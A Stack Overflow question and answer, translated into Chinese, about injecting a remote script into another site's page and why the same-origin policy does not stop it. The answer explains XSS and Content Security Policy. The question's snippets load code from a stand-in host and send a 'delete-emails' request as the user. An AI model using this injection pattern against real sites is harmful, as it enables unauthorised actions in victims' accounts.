【问题标题】:Remote control via script injection通过脚本注入进行远程控制
【发布时间】:2017-06-13 18:17:48
【问题描述】:

一些服务器允许我们动态插入 src 与页面域不同的脚本元素。

由于同源策略,我们无法将数据发送到另一台服务器,但是我们可以执行以下操作:

  • 删除某些邮件服务中的所有电子邮件
  • 在商店下订单
  • 在社交网络上写消息等等...

因为脚本从服务器 A 注入到页面 x,并且请求正在对服务器 A 执行,这里没有任何问题 - 同源政策不起作用。

服务器是否默认不受此保护?

在受保护的服务器上,我们得到了这个:

拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src 'unsafe-eval' 'unsafe-inline'

q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);

这样的脚本可以打包到 chrome 扩展中并安装。 (我错了还是扩展程序有更多限制?)

这里是 inject.js 假设服务器正在使用 delete-emails 参数处理请求:

var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stackoverflow.com/?delete-emails');
xhr.onreadystatechange = function() {
    if (this.readyState === 4 && this.status === 200) {
        console.log(location.href);
    }
};
xhr.send();

例如,如果我将脚本元素(插入头部)插入到 stackoverflow.com 页面,我会得到200 OK

【问题讨论】:

    标签: javascript security google-chrome-extension same-origin-policy javascript-injection


    【解决方案1】:

    因为脚本从服务器 A 注入到页面 x,并且请求正在对服务器 A 执行,这里没有任何问题 - 同源策略不起作用。

    服务器是否默认不受此保护?

    没错。你所描述的是Cross-site Scripting (XSS),同源策略并不能保护你免受它的侵害。

    在受保护的服务器上,我们得到了这个:

    拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src 'unsafe-eval' 'unsafe-inline'

    Content Security Policy 与同源策略不同。这是一种机制,允许服务器声明允许其页面执行的限制。这有助于防止 XSS,因为即使攻击者能够注入脚本,浏览器也不会允许它违反 CSP。

    这样的脚本可以打包到chrome扩展中并安装。

    一般而言,您应该假设浏览器扩展允许各种不受通常浏览器安全策略影响的不安全操作。不同的浏览器扩展框架做出不同的安全保证,但这并不是跨浏览器标准化的东西。如果您对 Chrome 允许的内容有具体问题,您可能应该发布一个单独的问题。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2018-09-15
      • 2017-03-14
      • 2011-05-09
      • 1970-01-01
      • 2019-08-13
      • 2012-05-11
      相关资源
      最近更新 更多